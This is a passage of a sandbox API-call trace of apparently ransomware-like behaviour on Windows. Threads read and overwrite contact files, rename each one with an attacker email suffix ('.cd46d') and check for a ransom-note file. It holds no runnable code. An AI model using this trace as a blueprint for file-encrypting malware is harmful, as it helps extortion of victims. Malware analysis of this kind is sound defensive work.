Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x6628b43 [0059.076] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x5f1b0664 [0059.076] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x26ed3a17 [0059.076] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x29bfd56d [0059.076] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x7c1b1b4e [0059.088] ReadFile (in: hFile=0x3a4, lpBuffer=0x197281c8, nNumberOfBytesToRead=0x49a, lpNumberOfBytesRead=0x81bf8cc, lpOverlapped=0x0 | out: lpBuffer=0x197281c8*, lpNumberOfBytesRead=0x81bf8cc*=0x49a, lpOverlapped=0x0) returned 1 [0059.088] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.088] WriteFile (in: hFile=0x3a4, lpBuffer=0x197349d0*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x81bf8c8, lpOverlapped=0x0 | out: lpBuffer=0x197349d0*, lpNumberOfBytesWritten=0x81bf8c8*=0x49a, lpOverlapped=0x0) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8af8 [0062.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ad0 [0062.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ad0) returned 1 [0062.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197349d0) returned 1 [0062.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197281c8) returned 1 [0062.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0062.475] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44be08 [0062.475] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.475] WriteFile (in: hFile=0x3a4, lpBuffer=0x19bd2008*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x81bf930, lpOverlapped=0x0 | out: lpBuffer=0x19bd2008*, lpNumberOfBytesWritten=0x81bf930*=0x11f, lpOverlapped=0x0) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bd2008) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ad0) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8af8) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01a0) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0062.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ca8) returned 1 [0062.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00880 [0062.827] wcscpy (in: _Dest=0x5e00880, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" [0062.827] wcscat (in: _Dest=0x5e00880, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d" [0062.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x81bf8e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9510 [0063.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9510) returned 1 [0063.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1fb90) returned 1 [0063.016] NtQueryInformationFile (in: FileHandle=0x3a4, IoStatusBlock=0x81bf8f4, FileInformation=0x81bf8cc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x81bf8f4, FileInformation=0x81bf8cc) returned 0x0 [0063.016] NtSetInformationFile (FileHandle=0x3a4, IoStatusBlock=0x81bf8f4, FileInformation=0x81bf8cc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.019] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00880) returned 1 [0063.019] FlushFileBuffers (hFile=0x3a4) returned 1 [0066.199] CloseHandle (hObject=0x3a4) Thread: id = 272 os_tid = 0xa30 [0046.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact")) returned 0x20 [0048.800] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", dwFileAttributes=0x20) returned 1 [0059.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x694 [0059.005] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x7effb8c | out: lpFileSize=0x7effb8c*=68382) returned 1 [0059.005] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x10b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.005] ReadFile (in: hFile=0x694, lpBuffer=0x7effb10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7effb0c, lpOverlapped=0x0 | out: lpBuffer=0x7effb10*, lpNumberOfBytesRead=0x7effb0c*=0x4, lpOverlapped=0x0) returned 1 [0059.019] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0059.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0290 [0059.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0059.019] NtQuerySystemTime (in: CurrentTime=0x7effaec | out: CurrentTime=0x7effaec*=132174898230072000) returned 0x0 [0059.019] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x3e3a5a4b [0059.019] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x4b310039 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x2b6c4ced [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x27337c6f [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x77c4806c [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x2319f47 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x10265f61 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x77c4abfd [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x15afbf6e [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x142be7e9 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x1823f9d2 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x2af5cfcf [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x6f3f8f93 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x3ba42b88 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0xd04755a [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x2becd72d [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x3bc1991f [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x17c0595f [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x3a9d9c33 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x335f8a5 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x64cce636 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x6cd48fe1 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x7470469e [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x768090e2 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x7056887 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x60eb0425 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x17a058c5 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x7adacd3a [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x146baaf6 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x578d5333 [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x726e4b6a [0059.020] RtlRandomEx (in: Seed=0x7effaf8 | out: Seed=0x7effaf8) returned 0x3199722c [0059.031] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.031] ReadFile (in: hFile=0x694, lpBuffer=0x12d61198, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7effacc, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesRead=0x7effacc*=0xc800, lpOverlapped=0x0) returned 1 [0059.032] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44be98 [0059.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c88 [0059.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0059.032] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0059.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d6d9a0 [0059.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0059.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0059.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0059.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c88) returned 1 [0059.034] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be98) returned 1 [0059.034] WriteFile (in: hFile=0x694, lpBuffer=0x12d6d9a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7effacc, lpOverlapped=0x0 | out: lpBuffer=0x12d6d9a0*, lpNumberOfBytesWritten=0x7effacc*=0xc800, lpOverlapped=0x0) returned 1 [0062.356] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d6d9a0) returned 1 [0062.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0062.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a63a0 [0062.357] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.357] WriteFile (hFile=0x694, lpBuffer=0x424230, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x7effb4c, lpOverlapped=0x0) Thread: id = 273 os_tid = 0x99c [0046.903] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact")) returned 0x20 [0048.801] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", dwFileAttributes=0x20) returned 1 [0059.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x690 [0059.003] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x814f7dc | out: lpFileSize=0x814f7dc*=1171) returned 1 [0059.004] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x48f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.004] ReadFile (in: hFile=0x690, lpBuffer=0x814f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x814f75c, lpOverlapped=0x0 | out: lpBuffer=0x814f760*, lpNumberOfBytesRead=0x814f75c*=0x4, lpOverlapped=0x0) returned 1 [0059.007] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0059.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0448 [0059.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0290 [0059.007] NtQuerySystemTime (in: CurrentTime=0x814f73c | out: CurrentTime=0x814f73c*=132174898229916000) returned 0x0 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x4c85b775 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x5c3e56c1 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x2807d0a3 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0xdf361d1 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x5d4d4aef [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x6e35cfdf [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x57bd9947 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0xe93ebf8 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x14e9b15f [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x50198cae [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x7da351ff [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x1ab4ef6a [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x78691213 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x2d87e75e [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x72629713 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x7c62f139 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x5a48ab13 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x1e99197f [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x1be725b5 [0059.007] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x58102621 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x16118c7b [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x5e341b7c [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x7fd906ea [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x108e5a86 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x4c71bb21 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x5d2fc21e [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x40d28ff9 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x55fda255 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x4d8a1fdb [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x24938d1a [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x9bf5906 [0059.008] RtlRandomEx (in: Seed=0x814f748 | out: Seed=0x814f748) returned 0x2a843bc4 [0059.019] ReadFile (in: hFile=0x690, lpBuffer=0x12d48188, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x814f738, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesRead=0x814f738*=0x493, lpOverlapped=0x0) returned 1 [0059.019] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.019] WriteFile (in: hFile=0x690, lpBuffer=0x12d54990*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x814f734, lpOverlapped=0x0 | out: lpBuffer=0x12d54990*, lpNumberOfBytesWritten=0x814f734*=0x493, lpOverlapped=0x0) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0061.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9778 [0061.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9778) returned 1 [0061.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d54990) returned 1 [0061.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d48188) returned 1 [0061.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c10) returned 1 [0061.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c4c8) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a62e0 [0061.370] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.370] WriteFile (in: hFile=0x690, lpBuffer=0x44d300*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x814f79c, lpOverlapped=0x0 | out: lpBuffer=0x44d300*, lpNumberOfBytesWritten=0x814f79c*=0x11b, lpOverlapped=0x0) returned 1 [0061.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d300) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6320) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9778) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a62e0) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9750) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0061.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0061.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00540 [0061.565] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" [0061.565] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d" [0061.565] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x814f754, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d40e0 [0061.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1fdb8) returned 1 [0061.567] NtQueryInformationFile (in: FileHandle=0x690, IoStatusBlock=0x814f760, FileInformation=0x814f738, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x814f760, FileInformation=0x814f738) returned 0x0 [0061.567] NtSetInformationFile (FileHandle=0x690, IoStatusBlock=0x814f760, FileInformation=0x814f738, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.568] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.568] FlushFileBuffers (hFile=0x690) returned 1 [0062.198] CloseHandle (hObject=0x690) returned 1 [0062.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e07d18 [0062.665] wcscpy (in: _Dest=0x12e07d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0062.665] wcscat (in: _Dest=0x12e07d18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" [0062.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\cd46d-readme.txt")) returned 0x20 [0062.968] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07d18) returned 1 [0062.968] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446aa0) returned 1 Thread: id = 274 os_tid = 0xa3c [0046.904] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact")) returned 0x20 [0048.801] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", dwFileAttributes=0x20) returned 1 [0057.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x68c [0057.944] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x7fdfd50 | out: lpFileSize=0x7fdfd50*=1177) returned 1 [0057.944] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x495, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.944] ReadFile (in: hFile=0x68c, lpBuffer=0x7fdfcd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7fdfcd0, lpOverlapped=0x0 | out: lpBuffer=0x7fdfcd4*, lpNumberOfBytesRead=0x7fdfcd0*=0x4, lpOverlapped=0x0) returned 1 [0057.945] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0057.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0057.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0057.945] NtQuerySystemTime (in: CurrentTime=0x7fdfcb0 | out: CurrentTime=0x7fdfcb0*=132174898219308000) returned 0x0 [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x437adbb3 [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x4100de3f [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x79330ccd [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x7bc230ed [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x48f974d1 [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x35a1f2ad [0057.945] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x6c579b2e [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x649c38a2 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x5819b39 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x3da02d12 [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0xbc5ecbf [0057.946] RtlRandomEx (in: Seed=0x7fdfcbc | out: Seed=0x7fdfcbc) returned 0x19f1f54c 